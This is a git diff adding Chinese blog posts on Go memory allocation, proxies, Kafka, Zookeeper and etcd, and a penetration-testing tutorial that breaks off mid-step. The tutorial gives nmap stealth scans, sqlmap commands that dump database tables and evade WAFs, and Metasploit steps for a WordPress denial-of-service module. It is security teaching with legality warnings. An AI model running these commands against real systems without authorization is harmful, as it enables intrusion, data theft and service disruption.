+当申请内存时,分配器会遍历空闲链表,寻找一个合适大小的内存块。一旦找到,它就从链表中移除该块并返回给用户。 +当内存被释放时,它会被添加回空闲链表,以便将来重用。 +在实际应用中,Go 的内存分配器会根据具体的需求和情境选择使用哪种方法。例如,对于小的、短暂的分配,线性分配器可能更有优势,而对于大的、长时间存在的对象,空闲链表分配器可能更合适。 + +虚拟内存布局:Go 1.10 以前,堆区的内存空间是连续的。但从 1.11 版本开始,Go 使用稀疏的堆内存空间替代了连续的内存,解决了连续内存的限制和可能的问题。 + +MSpan、Mcentral 和 MHeap 是 Go 语言内存分配器中的核心数据结构,它们在内存分配和释放过程中起到关键作用。以下是它们的具体定义和作用: + +MSpan (Memory Span): + +MSpan 表示一系列连续的内存页。每个 MSpan 包含了相同大小的对象。 +它记录了这些对象的大小、位置、已分配的数量、未分配的数量等信息。 +MSpan 可以处于不同的状态,例如:空闲、部分分配或完全分配。 +Mcentral (Memory Central): + +Mcentral 是一个中心存储结构,用于管理一组特定大小的 MSpan。 +对于每个对象大小的类别,都有一个对应的 Mcentral。 +当线程缓存(Thread Cache)中没有可用的空间时,它会从 Mcentral 获取或释放 MSpan。 +**Mcentral 主要用于协调多个 Goroutine 对相同大小的对象的并发分配请求**。 +MHeap (Memory Heap): + +MHeap 是一个全局的数据结构,管理所有的 MSpan。 +它维护了一个空闲链表,用于跟踪未分配的内存页。 +当 Mcentral 需要更多的内存时,它会从 MHeap 请求。同样,当 MSpan 变为空闲时,它会返回给 MHeap。 +MHeap 还负责与操作系统交互,申请或释放内存页。 +这三个结构体在 Go 的内存分配器中相互协作,确保内存的高效分配和回收。MSpan 提供了对具体内存页的细粒度管理,Mcentral 为特定大小的对象提供了中心化的管理,而 MHeap 则为整个系统提供了全局的内存管理。 + +> 内存分配器包含哪些分配方法? + +编程语言的内存分配器一般包含两种分配方法,一种是线性分配器(Sequential Allocator,Bump Allocator),另一种是空闲链表分配器(Free-List Allocator),这两种分配方法有着不同的实现机制和特性。 + +线性分配器 +线性分配(Bump Allocator)是一种高效的内存分配方法,但是有较大的局限性。当我们使用线性分配器时,只需要在内存中维护一个指向内存特定位置的指针,如果用户程序向分配器申请内存,分配器只需要检查剩余的空闲内存、返回分配的内存区域并修改指针在内存中的位置,即移动下图中的指针: + + +空闲链表分配器 +空闲链表分配器(Free-List Allocator)可以重用已经被释放的内存,它在内部会维护一个类似链表的数据结构。当用户程序申请内存时,空闲链表分配器会依次遍历空闲的内存块,找到足够大的内存,然后申请新的资源并修改链表: + +首次适应(First-Fit)— 从链表头开始遍历,选择第一个大小大于申请内存的内存块; +循环首次适应(Next-Fit)— 从上次遍历的结束位置开始遍历,选择第一个大小大于申请内存的内存块; +最优适应(Best-Fit)— 从链表头遍历整个链表,选择最合适的内存块; +隔离适应(Segregated-Fit)— 将内存分割成多个链表,每个链表中的内存块大小相同,申请内存时先找到满足条件的链表,再从链表中选择合适的内存块; + + +> 代理服务器和反向代理服务器的区别是什么 + + +代理服务器(Proxy Server)和反向代理服务器(Reverse Proxy Server)都是在客户端和服务器之间起到中介的作用,但它们的目的、使用场景和工作方式有所不同。以下是两者之间的主要区别: + +目的和使用场景: + +代理服务器:主要用于为客户端提供资源访问服务,常见的使用场景包括内容过滤、提供匿名访问、缓存内容以加速访问速度、限制对特定内容的访问等。例如,公司内部网络可能使用代理服务器来过滤员工访问的内容或提供缓存服务。 + +反向代理服务器:主要用于为服务器提供保护和负载均衡,常见的使用场景包括保护后端服务器、分发客户端请求到多个后端服务器、缓存内容以减轻后端服务器的负担、SSL终结等。 + +工作方式: + +代理服务器:客户端配置代理服务器的地址,当客户端想要访问某个资源时,请求首先发送到代理服务器,代理服务器再将请求转发到目标服务器,并将目标服务器的响应返回给客户端。 + +反向代理服务器:客户端并不知道存在反向代理,它直接向反向代理发送请求。反向代理决定将请求转发到哪个后端服务器,并将后端服务器的响应返回给客户端。 + +位置: + +代理服务器:位于客户端和互联网之间。 + +反向代理服务器:位于后端服务器和互联网之间。 + +知晓对象: + +代理服务器:客户端知道代理服务器的存在,并直接与其交互。 +反向代理服务器:客户端通常不知道反向代理的存在,它认为自己直接与后端服务器交互。 +控制方: + +代理服务器:通常由客户端或客户端所在的组织控制。 +反向代理服务器:通常由后端服务器或后端服务器所在的组织控制。 +总的来说,代理服务器主要为客户端服务,提供内容访问和过滤功能,而反向代理服务器主要为后端服务器服务,提供保护、负载均衡和缓存功能。 \ No newline at end of file diff --git a/_posts/2023-10-9-test-markdown.md b/_posts/2023-10-9-test-markdown.md new file mode 100644 index 000000000000..660d553d1fbd --- /dev/null +++ b/_posts/2023-10-9-test-markdown.md @@ -0,0 +1,411 @@ +--- +layout: post +title: 分布式 +subtitle: +tags: [分布式] +--- + + +## Part1 +基础理论: + +请解释CAP定理。如何看待它在实际的系统设计中的应用? +什么是强一致性和最终一致性?在项目中如何选择? + +系统设计: +如何设计一个可扩展的分布式系统?请给出一些关键的原则或组件。 +请描述一个曾经参与设计或维护的分布式系统的架构。们是如何处理数据一致性的? + +故障和恢复: +如果分布式系统中的一个节点失败,会如何处理?如何快速恢复? +请描述一个遇到的真实的分布式系统问题和是如何解决的。 + +工具和技术: +使用过哪些分布式系统的中间件或框架?如Kafka、Zookeeper、etcd等。 +描述一个场景,需要使用某个特定的技术或工具来解决分布式相关的问题。 + +性能和优化: +如何监控分布式系统的性能?使用过哪些工具? +当分布式系统出现性能瓶颈时,通常如何优化? + +实际应用: +在一个电商网站背后的分布式系统中,如何保证库存的一致性? +当用户在社交网络上发布一条信息时,如何确保所有的关注者都能及时看到? +情境模拟: + +给予面试者一个假想的分布式系统设计场景,要求他们设计或解决特定的问题,这可以测试他们的实际能力和经验。 +深入探讨: + +对于已经了解的分布式技术或框架,可以深入询问其原理,例如:“Kafka是如何保证消息的顺序性的?”或“Zookeeper的leader选举机制是如何工作的 + + +## Part2 + +基础理解: + +> 请简要描述Kafka、Zookeeper和etcd的主要功能和用途。 + +Kafka: + +主要功能:Kafka 是一个分布式的流处理平台,主要用于构建实时的数据流传输应用。 + +用途: + +消息队列:用于在生产者和消费者之间异步传递消息。 +日志聚合:从不同的源系统中收集日志并将它们传输到一个中央日志系统。 +流处理:实时分析和响应数据流。 + +Zookeeper: + +主要功能:Zookeeper 是一个分布式的协调服务,用于维护分布式系统的配置信息、命名、提供分布式同步和提供组服务等。 +用途: +配置管理:存储和管理分布式系统的配置信息。 +服务发现:允许应用程序查询服务并找到要与之交互的服务的位置。 +分布式锁:确保分布式系统中的多个节点不会同时执行某个任务。 +选举机制:在故障转移场景中,确定哪个节点应该承担领导者的角色。 + +etcd: + +主要功能:etcd 是一个分布式的可靠键值存储服务,主要用于配置管理和服务发现。 +用途: +配置管理:为分布式系统提供一致性和高可用性的配置数据。 +服务发现:允许应用程序查询注册的服务,并获取其连接信息。 +分布式锁:像Zookeeper一样,etcd也可以用于实现分布式锁。 +领导者选举:在分布式系统中进行领导者选举以确定主节点。 + +> Zookeeper 做分布式锁的原理和etcd做分布式锁的原理 + +节点结构:Zookeeper 中的数据模型是一个层次性的命名空间,类似于文件系统。为了获得锁,客户端会在Zookeeper中的一个特定路径下创建一个临时、顺序节点。 + +锁获取:所有想要获得锁的客户端都会在相同的路径下创建临时顺序节点。第一个创建节点的客户端将获得最低的序列号,并被视为获得了锁。 + +锁监视:其他客户端(没有获得锁的)会监视序列号比它们稍小的节点。当这个节点被删除(释放锁),它们会收到一个通知,并尝试获取锁。 + +锁释放:持有锁的客户端完成其任务后会删除前面创建的临时节点,从而释放锁。 + +故障处理:由于创建的节点是临时的,如果持有锁的客户端崩溃,其节点会被Zookeeper自动删除,从而释放锁。 + +etcd 分布式锁: +etcd使用其提供的TTL(Time-To-Live)和watch特性来实现分布式锁。 + +锁获取:客户端尝试在etcd中设置一个特定的键。如果该键不存在(即,锁未被持有),则设置成功,该客户端被认为获得了锁。 + +TTL:这个键会有一个TTL值,保证如果持有锁的进程死亡,锁会在TTL时间后被自动释放。 + +锁监视:其他客户端可以使用etcd的watch功能来监视锁键。如果锁被释放,所有正在监视的客户端都会收到一个事件,告知它们锁已经可用。 + +锁释放:持有锁的客户端完成其任务后会删除前面设置的键,从而释放锁。 + +> Kafka是如何保证消息的有序性和持久性的? + +Kafka 如何保证消息的有序性: + +分区 (Partitions):Kafka 的主题 (Topics) 被划分为多个分区,每个分区内的消息都是有序的。即,每条消息在被写入分区时都被赋予了一个唯一的、递增的偏移量(offset)。因此,当消费者从特定分区消费消息时,它会按照消息的偏移量的顺序来消费。 + +如果我们使用消息的key来决定消息被分配到哪个分区,那么确切的分区选择会基于该key的哈希值。但为了简化这个例子,我们可以假设简单的轮询策略,即逐一地为每个分区选择消息。这样,的理解是基本正确的。 + +使用这种简化的轮询策略,消息的分配可能如下: + +```text +Partition-0: + +Order1 +Order4 +Order7 +Order10 +... +Partition-1: + +Order2 +Order5 +Order8 +Order11 +... +Partition-2: + +Order3 +Order6 +Order9 +Order12 +... +``` + +所以,根据这个简化的策略: +```shell +Order1 会被发送到 Partition-0 +Order2 会被发送到 Partition-1 +Order3 会被发送到 Partition-2 +Order4 再次回到 Partition-0 +``` + +以此类推... +但要注意,这只是一个简化的轮询例子。在实际的Kafka中,如果指定了key,那么会使用key的哈希值来决定分区,从而确保具有相同key的消息都被发送到同一个分区,保证了顺序性。如果没有指定key,那么可能会采用轮询或其他策略。 + +生产者:在生产者端,可以通过设置消息的key来决定消息发送到哪个分区。相同的key的消息会被发送到相同的分区,从而确保这些消息的顺序性。 + +Kafka 如何保证消息的持久性: + +副本 (Replicas):Kafka 的每个分区都可以有多个副本,这些副本存在于不同的 broker 上。有了副本,即使某些 broker 出现故障,消息也不会丢失。 + +写入策略:当生产者发送消息到 Kafka 时,可以设置 acks 参数来确定消息写入的确认方式。例如,设置 acks=all 会要求消息被写入所有的副本后才确认写入成功。 + +持久化到磁盘:Kafka 会将消息持久化到磁盘,并且即使 broker 重新启动,消息也不会丢失。 + + +> 为什么Kafka经常与Zookeeper一起使用?它们之间的关系是什么? + +Kafka 与 Zookeeper 的关系: +集群协调:Kafka 使用 Zookeeper 来协调 broker,例如:确定哪个 broker 是分区的 leader,哪些是 followers。 + +存储元数据:Zookeeper 保存了关于 Kafka 集群的元数据信息,例如:当前存在哪些主题,每个主题的分区和副本信息等。 + +维护集群状态:例如 broker 的加入和退出、分区 leader 的选举等,都需要 Zookeeper 来帮助维护状态和通知相关的 broker。 + +动态配置:Kafka 的某些配置可以在不重启 broker 的情况下动态更改,这些动态配置的信息也是存储在 Zookeeper 中的。 + +消费者偏移量:早期版本的 Kafka 使用 Zookeeper 来保存消费者的偏移量。尽管在后续版本中,这个功能被移到 Kafka 自己的内部主题 (__consumer_offsets) 中,但在一些老的 Kafka 集群中,Zookeeper 仍然扮演这个角色。 + +> etcd的主要应用场景是什么? + +配置管理: + +由于 etcd 提供了一致性和高可用性的数据存储,所以它经常被用于存储配置数据。当配置数据发生变化时,etcd 能够通知到系统中的所有节点,确保配置的一致性。 + +服务发现: +在微服务架构中,随着服务的增多,服务的位置(例如 IP 和端口)可能会频繁变动。etcd 可以用作服务注册和发现的中心,允许服务在启动时注册自己,并允许客户端查询服务的当前位置。 + +分布式锁: +etcd 提供了基于其键值存储的分布式锁功能,允许在多个节点之间同步资源访问。 + +领导选举: +在分布式系统中,某些操作可能需要一个单一的领导者进行。etcd 提供了领导选举机制,确保在任何给定时刻都只有一个领导者。 + +**以下是在业务中利用 etcd 进行领导者选举的常见步骤**: + +创建租约: +使用 etcd 的租约 API 创建一个租约。这个租约有一个固定的到期时间,并需要定期续租以保持其活跃状态。 + +尝试获取锁: +应用程序尝试在 etcd 中设置一个特定的键(例如 /my-service/leader),并将其关联到前面创建的租约。这个键的值可以是该领导者的标识(例如主机名或IP地址)。 +由于这个键是基于租约的,如果领导者崩溃或无法续租,那么这个键会自动被删除。 + +检查领导者状态: +如果应用程序成功设置了键,那么它就成为新的领导者。 +如果键已经存在(即已经有其他领导者),那么应用程序则变成追随者,并定期检查该键的状态以确定是否需要进行新的选举。 + +续租: +领导者需要定期向 etcd 发送续租请求,以保持其领导者状态。如果领导者失去与 etcd 的联系,其租约会过期,导致其领导者键被删除。 + +放弃领导地位: +如果某些条件满足(例如领导者要平滑地下线),应用程序可以选择主动放弃领导地位,方法是撤销其租约。 + +监听领导者变化: +应用程序可以设置一个监听器来监控领导者键的变化。这样,当领导者改变或键被删除时,它们可以迅速做出响应。 + +通过这种方式,etcd 提供了一个分布式的、可靠的、基于锁和租约的机制,允许业务应用程序在多个实例中选择一个领导者,而不必担心单点故障或不一致的状态。 + +```go +package main + +import ( + "context" + "fmt" + "log" + "time" + + clientv3 "go.etcd.io/etcd/client/v3" + "go.etcd.io/etcd/client/v3/concurrency" +) + +const ( + endpoints = "localhost:2379" + serviceName = "/my-service/leader" + leaseTimeout = 5 +) + +func main() { + cli, err := clientv3.New(clientv3.Config{ + Endpoints: []string{endpoints}, + DialTimeout: 2 * time.Second, + }) + if err != nil { + log.Fatal(err) + } + defer cli.Close() + + // Create a session to keep the lease alive + sess, err := concurrency.NewSession(cli, concurrency.WithTTL(leaseTimeout)) + if err != nil { + log.Fatal(err) + } + defer sess.Close() + + // Try to acquire a lock + mutex := concurrency.NewMutex(sess, serviceName) + + // Try to become the leader + if err := mutex.Lock(context.Background()); err != nil { + log.Fatalf("Failed to become leader: %v", err) + } + + fmt.Println("Acquired leadership!") + // Simulate leader doing some work + time.Sleep(10 * time.Second) + + // Release the lock (give up leadership) + if err := mutex.Unlock(context.Background()); err != nil { + log.Fatalf("Failed to release leadership: %v", err) + } + + fmt.Println("Released leadership!") +} + +``` +Kubernetes 集群状态存储: +etcd 是 Kubernetes 的核心组件,用于持久化保存整个 Kubernetes 集群的状态。 + +持久化存储元数据: +在某些系统中,etcd 被用作元数据的持久化存储,尤其在那些需要高可用性和一致性的系统中。 + +深入技术细节: + +> 描述Kafka中的主题、分区和副本的概念。 + +主题 (Topic):Kafka 中数据的分类单位。当想在 Kafka 中发送一个消息时,会发送到一个特定的主题。 + +分区 (Partition):每个主题可以分为多个分区。分区允许 Kafka 垂直地扩展,因为每个分区都可以独立于其他分区进行数据读写。 + +副本 (Replica):分区的备份。为了确保数据的可用性和容错性,Kafka 允许每个分区有多个副本分散在不同的服务器上。 + +> 请解释Zookeeper中的Znode和其不同类型。 + +ZooKeeper 是一个分布式协调服务,它使用一个树形的目录结构来存储数据,这个结构非常类似于文件系统。在这个结构中,每一个节点称为一个 ZNode。 + +ZNode(ZooKeeper Node):是ZooKeeper中的数据节点。每一个ZNode都可以存储数据,并且可以有子ZNode,形成一个树状的结构。 + +永久节点 (Persistent ZNode): + +一旦这种节点被创建,它就会一直存在,直到被明确删除。 +它们可以有子节点,而且子节点也可以是永久节点或临时节点。 + +临时节点 (Ephemeral ZNode): +这种节点的生命周期与创建它的客户端会话绑定。当客户端会话结束时,这个节点会被自动删除。 +临时节点不能有子节点。 + +顺序节点 (Sequential ZNode): +当创建这种节点时,ZooKeeper 会自动在其名称后追加一个递增的数字。这可以确保每次创建的节点名称都是唯一的。 +顺序节点可以是永久的或临时的。 + +临时顺序节点 (Ephemeral-Sequential ZNode): +这是临时节点和顺序节点的结合。当创建这种节点时,ZooKeeper 会自动追加一个递增的数字,但节点仍然是临时的,当客户端会话结束时,这个节点会被自动删除。 + +> etcd如何保证数据的强一致性?它是基于什么算法实现的? + +角色与状态: + +在 Raft 中,每个节点可能处于三种角色之一:领导者(Leader)、候选人(Candidate)和追随者(Follower)。 +选举超时: + +当追随者长时间(选举超时)没有从领导者接收到心跳消息时,它会认为领导者已经失效,并试图启动一个新的选举。 +这个“长时间”是一个随机的时间间隔,这样可以避免多个节点同时开始选举。 + +开始选举: +当追随者转变为候选人状态时,它会增加其当前的任期号(Term),并为自己投票。 +然后,它会发送请求投票的消息给集群中的其他节点。 + +投票: +当一个节点收到请求投票的消息时,如果它认为候选人是合适的领导者(基于日志的新旧和完整性),它会投票给该候选人。 +每个节点在一个任期内只能投票一次。 + +赢得选举: +如果候选人从大多数节点获得了投票,那么它就成为新的领导者。 +一旦选出新的领导者,它会开始向其他节点发送心跳消息,以防止其他节点启动新的选举。 + +持续的心跳: +领导者会定期发送心跳消息给所有追随者,以维持其领导地位。 + +新的选举: +如果领导者失败,缺乏心跳会触发新的选举。 + + +实际应用和最佳实践: + +> 能否描述一下您在项目中是如何使用Kafka进行消息传递的?遇到过哪些挑战? + +设置和配置 Kafka 集群:首先需要部署和配置一个 Kafka 集群,确保它有足够的资源和带宽来处理预期的消息流量。 + +定义主题:为不同的消息类型或业务需求定义 Kafka 主题。 + +生产者发送消息:应用程序中的生产者组件负责生成并发送消息到 Kafka 主题。 + +消费者消费消息:消费者组件从 Kafka 主题中读取消息,并进行相应的处理。 + +设置适当的分区策略:根据消息处理的需求和并行性,为每个主题设置合适数量的分区。 + +可能遇到的挑战: +数据延迟:在高流量情况下,消息可能会延迟进入系统。 +数据丢失:可能因为各种原因(例如,Kafka broker 故障)导致数据丢失。 +消息顺序:在高并发条件下,消息可能不会按预期的顺序到达。 +消息重复:消费者可能多次处理同一个消息。 + +解决方法: +设置副本策略:确保每个分区有足够的副本,以防止数据丢失。 +使用键来确保消息顺序:使用键确保消息被发送到正确的分区,以保持顺序。 +确保至少一次处理语义:使用 Kafka 提供的偏移量管理特性,确保消息至少被处理一次。 +定期监控和维护 Kafka 集群:使用监控工具,如 Kafka Manager 或 Grafana,来监控 Kafka 集群的健康和性能,并进行必要的调整 +扩展 Kafka 集群:根据需求,增加 broker、调整分区数量或增加主题以满足增长的流量。 + +> Zookeeper有哪些常见的性能调优和最佳实践? + +使用快速的磁盘:ZooKeeper 是 I/O 密集型的。使用 SSD 可以明显提高写操作的性能。 + +独立的磁盘:为事务日志 (transaction log) 和快照 (snapshots) 使用独立的物理磁盘,因为它们具有不同的 I/O 访问模式。 + +网络延迟:确保网络延迟最小,特别是在多数据中心的部署中。 + +奇数服务器集群:为了避免脑裂情况,ZooKeeper 通常部署在包含奇数个服务器的集群中。 + +2. ZooKeeper 配置调优: +增加客户端线程数:可以通过调整 maxClientCnxns 参数来允许更多的并发客户端连接。 + +调整 JVM 设置:为 ZooKeeper 分配足够的内存,并优化 JVM 的垃圾回收设置。 + +事务日志清理:定期清理旧的事务日志,以确保磁盘不会被填满。 + +3. 最佳实践: +避免长时间的会话:长时间的会话会占用资源。如果可能,尽量使用短时间的会话。 + +减少节点大小:ZooKeeper 的性能与 znode 的数据量成反比。尽量使 znode 的大小小于 1MB。 + +减少频繁的写操作:写操作比读操作更消耗资源。如果可以,尝试减少写频率或使用异步写。 + +避免使用监视器:虽然监视器 (watches) 是 ZooKeeper 提供的一个强大功能,但是大量的监视器会增加 ZooKeeper 的负载。 + +应用层级的重试机制:在应用层实现重试机制,以处理因为网络抖动或暂时的 ZooKeeper 超载导致的失败。 + +监控 ZooKeeper:使用工具 (如 JMX, Zabbix, Grafana 等) 来监控 ZooKeeper 的性能和健康状态。 + +4. 其他建议: +避免长时间运行的操作:ZooKeeper 是为短操作设计的,避免执行长时间的任务,特别是在领导选举期间。 + +备份和恢复策略:定期备份 ZooKeeper 的数据,并确保有恢复策略。 + +版本和补丁:定期更新到 ZooKeeper 的最新稳定版本,并应用所有安全和性能相关的补丁 + +> 当etcd集群中的一个节点失败时,系统会如何响应? + +问题和挑战: + +如果Kafka的某个broker宕机,系统会如何处理?如何恢复? +Zookeeper的写性能为什么通常被认为是一个瓶颈?有什么办法可以改进? +如何备份和恢复etcd的数据? + +与其他技术的对比: +与其他消息队列系统(如RabbitMQ、ActiveMQ)相比,Kafka有什么优势和劣势? +除了Zookeeper,还有哪些分布式协调服务?它们与Zookeeper有何异同? +与etcd相似的键值存储服务还有哪些?例如Consul和Zookeeper,它们之间有什么主要的差异? + +扩展性和未来趋势: +如何扩展Kafka集群以支持更高的吞吐量? +Zookeeper和etcd在大规模集群中可能会遇到哪些扩展性问题? +对于Kafka、Zookeeper和etcd的未来发展,有什么看法或预测? \ No newline at end of file diff --git a/_posts/2023-11-10-test-markdown.md b/_posts/2023-11-10-test-markdown.md new file mode 100644 index 000000000000..3b7b8b194f5c --- /dev/null +++ b/_posts/2023-11-10-test-markdown.md @@ -0,0 +1,704 @@ +--- +layout: post +title: 渗透测试 +subtitle: +tags: [Test] +comments: true +--- + +## 信息收集 + +#### Nmap +Nmap: 网络扫描和嗅探工具。 + + +在macOS上: +```shell +brew install nmap +``` +基础扫描: +```shell +nmap 192.168.1.1 +``` + +```shell +nmap 192.168.1.1 192.168.1.2 192.168.1.3 +``` +```shell +nmap 192.168.1.1/24 +``` +高级扫描: + + +扫描特定端口 + +```shell +nmap -p 22,80,443 192.168.1.1 +``` +这将只扫描目标主机上的22、80和443端口。 + +使用TCP SYN扫描 + +```shell +nmap -sS 192.168.1.1 +``` +这是一种更隐蔽的扫描方式,不会在目标主机上留下太多痕迹。 + +扫描UDP端口 + +```bash +nmap -sU 192.168.1.1 +``` +这将扫描目标主机上的UDP端口。 + +操作系统检测 + +```bash +nmap -O 192.168.1.1 +``` +这将尝试识别目标主机的操作系统。 + +保存扫描结果 + +```bash +nmap -oN output.txt 192.168.1.1 +``` +这将把扫描结果保存到output.txt文件中。 + +#### Shodan +Shodan: 互联网搜索引擎,用于查找各种在线设备。 + +> 注册和登录 + +访问Shodan网站(https://www.shodan.io/)。 +注册一个账号并登录。 + +> 基础搜索 + +在搜索框中输入想搜索的关键字,例如“webcam”。 +按下Enter键,Shodan会列出与关键字相关的设备。 + +> 使用过滤器 + +Shodan支持多种搜索过滤器,例如: +country:US:只显示美国的设备。 +port:21:只显示开放了21端口(FTP)的设备。 +os:Windows:只显示运行Windows操作系统的设备。 + +使用Shodan API +Shodan还提供了API,允许在自己的应用程序中进行搜索。需要从Shodan网站获取API密钥。 + +以下是一个使用Python和Shodan API进行搜索的简单示例: + +```python +from shodan import Shodan + +api = Shodan('YOUR_API_KEY') + +# Search for devices +results = api.search('webcam') + +# Loop through the results and print information +for result in results['matches']: + print(f"IP: {result['ip_str']}") + print(f"Port: {result['port']}") + print(f"Organization: {result.get('org', 'N/A')}") + print("===") +``` + + +#### Censys +Censys: 类似于Shodan的搜索引擎。 + +#### theHarvester + +theHarvester: 用于收集电子邮件地址、子域名、主机、开放端口等信息。 +theHarvester 是一款用于收集电子邮件地址、子域名、主机、开放端口、员工姓名等信息的工具,主要用于渗透测试和枚举阶段。这个工具可以从多个公开来源获取信息,包括搜索引擎、Shodan、Censys 等。 + +> 安装 + +首先,需要安装 theHarvester。如果使用的是 Kali Linux,该工具可能已经预安装了。如果没有,可以通过以下命令进行安装: + +```bash +git clone https://github.com/laramies/theHarvester.git +cd theHarvester +``` +```bash +python3 -m pip install -r requirements.txt +``` + +基础用法 +电子邮件地址收集 +以下命令从 Google 搜索引擎收集目标域(example.com)的电子邮件地址: + +```bash +python3 theHarvester.py -d example.com -b google +``` +子域名枚举 +以下命令从 Bing 搜索引擎收集目标域(example.com)的子域名: + +```bash +python3 theHarvester.py -d example.com -b bing +``` +使用多个数据源 +还可以使用多个数据源来进行更全面的信息收集。例如: + +```bash +python3 theHarvester.py -d example.com -b google,bing,linkedin +``` +保存结果 +可以将收集到的信息保存到一个文件中,以便后续分析: + +```bash +python3 theHarvester.py -d example.com -b google -f output.txt +``` +其他选项 +theHarvester 还有很多其他选项和高级功能,可以通过运行 python3 theHarvester.py -h 来查看所有可用选项。 + + +## Web应用测试 + +#### SQLmap + +SQLmap: 自动化SQL注入和数据库挖掘工具。 + +MacOS 安装 +```bash +brew install sqlmap +``` +Linux 安装 SQLmap +如果使用的是 Kali Linux,SQLmap 可能已经预安装了。如果没有,可以通过以下命令进行安装: + +```bash +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +> 基础用法 + +测试 GET 参数 +假设有一个目标 URL,它的 id 参数可能存在 SQL 注入漏洞: + +```bash +http://example.com/page.php?id=1 +``` +可以使用以下命令来测试这个参数: + +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" +``` +测试 POST 参数 +如果目标使用 POST 方法提交数据,可以使用 -data 参数: + +```bash +python sqlmap.py -u "http://example.com/page.php" --data="id=1" +``` +使用 Cookie +如果需要,还可以添加 Cookie 数据: + +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123" +``` +数据提取 +获取数据库名称 +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" --dbs +``` +获取表名称 +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables +``` +获取列名称 +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns +``` +提取数据 + +```bash +python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump +``` +高级用法 +SQLmap 还有很多高级选项,如使用代理、绕过 WAF、进行延时测试等。可以通过运行 python sqlmap.py -h 来查看所有可用选项。 + +使用代理 +要通过代理服务器运行 sqlmap,可以使用 --proxy 参数: + +```bash +sqlmap -u "http://target.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080" +``` +这里,http://127.0.0.1:8080 是代理服务器的地址和端口。 + +绕过 WAF +sqlmap 提供了一些用于绕过 WAF 的技术,这些可以通过 --tamper 参数来指定: + +```bash +sqlmap -u "http://target.com/vuln.php?id=1" --tamper="between,randomcase,space2comment" +``` +这里,between、randomcase 和 space2comment 是 tamper 脚本,用于修改 SQL 语句以绕过 WAF。 + +进行延时测试 +如果想控制请求之间的时间延迟,可以使用 --delay 和 --timeout 参数: +```bash +sqlmap -u "http://target.com/vuln.php?id=1" --delay=0.5 --timeout=30 +``` +这里,--delay=0.5 指定每个请求之间延迟 0.5 秒,--timeout=30 指定请求超时为 30 秒。 + +OWASP ZAP: 开源的Web应用安全测试平台。 + +#### Burp Suite + +Burp Suite: Web应用安全测试工具。 + +> 安装和启动 +下载 Burp Suite Community Edition(免费版)或 Professional Edition(付费版)。 +安装并启动 Burp Suite。 + +> 设置代理 +打开 Burp Suite,转到 "Proxy" -> "Options"。 +确保代理监听器处于活动状态,默认监听地址通常是 127.0.0.1:8080。 +在的 Web 浏览器中,设置 HTTP 代理为 Burp Suite 的监听地址。 + +> 拦截请求 +在 Burp Suite 中,转到 "Proxy" -> "Intercept"。 +确保 "Intercept is on" 已经启用。 +在浏览器中访问一个网站,应该能在 Burp Suite 中看到拦截到的 HTTP 请求。 + +> 爬虫和扫描 +在拦截到的请求上右键,选择 "Send to Spider" 或 "Send to Scanner"。 +如果选择了 "Spider",转到 "Target" -> "Site map",会看到爬虫开始收集的 URL。 +如果选择了 "Scanner",转到 "Dashboard",会看到扫描的进度和结果。 + +> 其他功能 +"Repeater" 可用于手动修改和重新发送 HTTP 请求。 +"Decoder" 可用于解码和编码各种数据格式。 +"Comparer" 可用于比较两个或多个数据集。 +注意:未经授权的渗透测试是非法的。确保有明确的授权来使用这些工具和技术。 + + +## 操作系统和网络层测试 + +#### Metasploit + +Metasploit: 用于开发、测试和执行漏洞利用代码的框架。 + +安装 Metasploit + +```bash +brew install --cask metasploit +``` +```bash +msfconsole +Would you like to use and setup a new database (recommended)? y +``` + +```shell + . . + . + + dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o + ' dB' BBP + dB'dB'dB' dBBP dBP dBP BB + dB'dB'dB' dBP dBP dBP BB + dB'dB'dB' dBBBBP dBP dBBBBBBB + + dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP + . . dB' dBP dB'.BP + | dBP dBBBB' dBP dB'.BP dBP dBP + --o-- dBP dBP dBP dB'.BP dBP dBP + | dBBBBP dBP dBBBBP dBBBBP dBP dBP + + . + . + o To boldly go where no + shell has gone before + + + =[ metasploit v6.3.37-dev-6aeffa5a177be312dc317e161cc088655496c869] ++ -- --=[ 2363 exploits - 1228 auxiliary - 413 post ] ++ -- --=[ 1388 payloads - 46 encoders - 11 nops ] ++ -- --=[ 9 evasion ] + +Metasploit Documentation: https://docs.metasploit.com/ +``` + +在 Metasploit 中执行 search wordpress 会返回与 WordPress 相关的一系列模块。这些模块可以是用于攻击、扫描或其他目的的。下面是一些关键字段的解释: + +模块类型:这描述了模块的类型。它可以是 exploit(用于利用漏洞)、auxiliary(辅助模块,如扫描器或 DOS 攻击工具)等。 + +exploit: 用于利用漏洞进行攻击。 +auxiliary: 辅助模块,用于信息收集、扫描等。 +dos: 用于执行拒绝服务(Denial of Service)攻击。 +模块路径:这是模块在 Metasploit 中的路径,通常包括目标平台和具体的攻击或扫描类型。 + +发布日期:这是模块发布或最后更新的日期。 + +可靠性:这描述了模块的可靠性级别,如 excellent、normal 等。 + +是否需要身份验证:Yes 或 No 表示是否需要身份验证才能使用该模块。 + +模块描述:这是对模块功能的简短描述。 + +例如: + +exploit/multi/http/wp_plugin_sp_project_document_rce 是一个 exploit 类型的模块,用于攻击 WordPress 的 SP Project & Document 插件。它在 2021-06-14 发布,可靠性为 excellent,并且需要身份验证(Yes)。 + +auxiliary/scanner/http/wordpress_xmlrpc_login 是一个 auxiliary 类型的模块,用于扫描 WordPress 站点以查找有效的 XML-RPC 登录凭据。它不需要身份验证(No)。 + +这些模块通常用于渗透测试或安全研究,但也可能被用于非法活动。因此,在使用这些模块之前,请确保有适当的授权和合法的目的。 + + +基础使用 +搜索模块:在 Metasploit 控制台中,可以使用 search 命令来查找特定的漏洞或模块。 + +```bash +search wordpress +``` +选择模块:找到想使用的模块后,使用 use 命令来选择它。 + +```bash +use auxiliary/dos/http/wordpress_xmlrpc_dos +```` +查看选项:使用 show options 来查看模块需要哪些参数。 + +```bash +show options +``` +设置参数:使用 set 命令来设置参数。 + +设置目标主机(RHOSTS): 